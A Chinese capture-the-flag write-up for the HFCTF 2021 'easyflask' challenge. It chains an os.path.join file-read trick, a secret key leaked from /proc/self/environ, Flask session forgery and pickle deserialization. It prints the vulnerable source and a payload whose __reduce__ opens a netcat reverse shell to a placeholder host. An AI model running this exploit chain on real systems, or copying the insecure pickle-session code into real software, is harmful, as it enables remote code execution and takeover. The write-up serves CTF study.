HFCTF-2021-Final-easyflask-解题步骤详解

admin

101398
文章

87
评论

2022年6月10日10:40:34评论147 views字数 2394阅读7分58秒阅读模式

考点

Python os.path.join trick、环境变量暴露敏感信息、pickle 反序列化 RCE、Flask Session 伪造

思路

进入题目，hint提示/file?file=index.js，进去之后又提示Source at /app/source，获得源码信息

注意 /file 路由，用户上传的 path 会被拼接到 static 目录后面，这里有个trick，当 os.path.join 的第二个参数为绝对路径时拼接的结果就是该绝对路径，用这里可以实现任意文件读取

HFCTF-2021-Final-easyflask-解题步骤详解

/admin 路由里使用 pickle 模块直接将 session 里的内容反序列化了，pickle 模块实现了将 Python 对象序列化和反序列化的方法，这里涉及到一个魔法方法 __reduce__

HFCTF-2021-Final-easyflask-解题步骤详解

反序列化必然包含创建新对象的操作，如果 __reduce__ 里包含攻击代码就可以实现RCE，但是被反序列化的输出储存在 session 里，但是 session 数据都是 flask 加密过的，只有知道 secret_key 才能伪造 session 实现 RCE

一般来说，secret_key 这样的数据传递给程序主要有以下方法：硬编码在代码里、写在配置文件里、通过环境变量传递给程序

这里刚好是第三种情况，*nix 系统存在一个伪文件系统 /proc，结合前面的任意文件读取漏洞可以读取到自身的环境变量，即/file?file=/proc/self/environ，得到secret_key=secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

接下来就是伪造 session 啦，修改源码里的 SECRET_KEY，给 User 对象添加 __reduce__ 方法，用浏览器访问 / 拿到伪造号的Cookie

需要注意：靶机是Linux环境，本地是Windows环境，这两个环境下dumps的结果中序列化字符串声明系统的标识符不同：Linux=>posix；Windows=>nt，需要将脚本放在Linux环境下生成序列化字符串

Payload

/app/source源码信息

#!/usr/bin/python3.6import osimport pickle
from base64 import b64decodefrom flask import Flask, request, render_template, session
app = Flask(__name__)app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {    'uname': 'test',    'is_admin': 0,    '__repr__': lambda o: o.uname,})

@app.route('/', methods=('GET',))def index_handler():    if not session.get('u'):        u = pickle.dumps(User())        session['u'] = u    return "/file?file=index.js"

@app.route('/file', methods=('GET',))def file_handler():    path = request.args.get('file')    path = os.path.join('static', path)    if not os.path.exists(path) or os.path.isdir(path)             or '.py' in path or '.sh' in path or '..' in path or "flag" in path:        return 'disallowed'
    with open(path, 'r') as fp:        content = fp.read()    return content

@app.route('/admin', methods=('GET',))def admin_handler():    try:        u = session.get('u')        if isinstance(u, dict):            u = b64decode(u.get('b'))        u = pickle.loads(u)    except Exception:        return 'uhh?'
    if u.is_admin == 1:        return 'welcome, admin'    else:        return 'who are you?'

if __name__ == '__main__':    app.run('0.0.0.0', port=80, debug=False)

/proc/self/environ内容

HFCTF-2021-Final-easyflask-解题步骤详解

Payload构造

import picklefrom base64 import b64encodeimport os
User = type('User', (object,), {    'uname': 'test',    'is_admin': 1,    '__repr__': lambda o: o.uname,    '__reduce__': lambda o: (eval, ("__import__('os').system('nc ip port -e /bin/sh')",))
})u = pickle.dumps(User())print(b64encode(u).decode())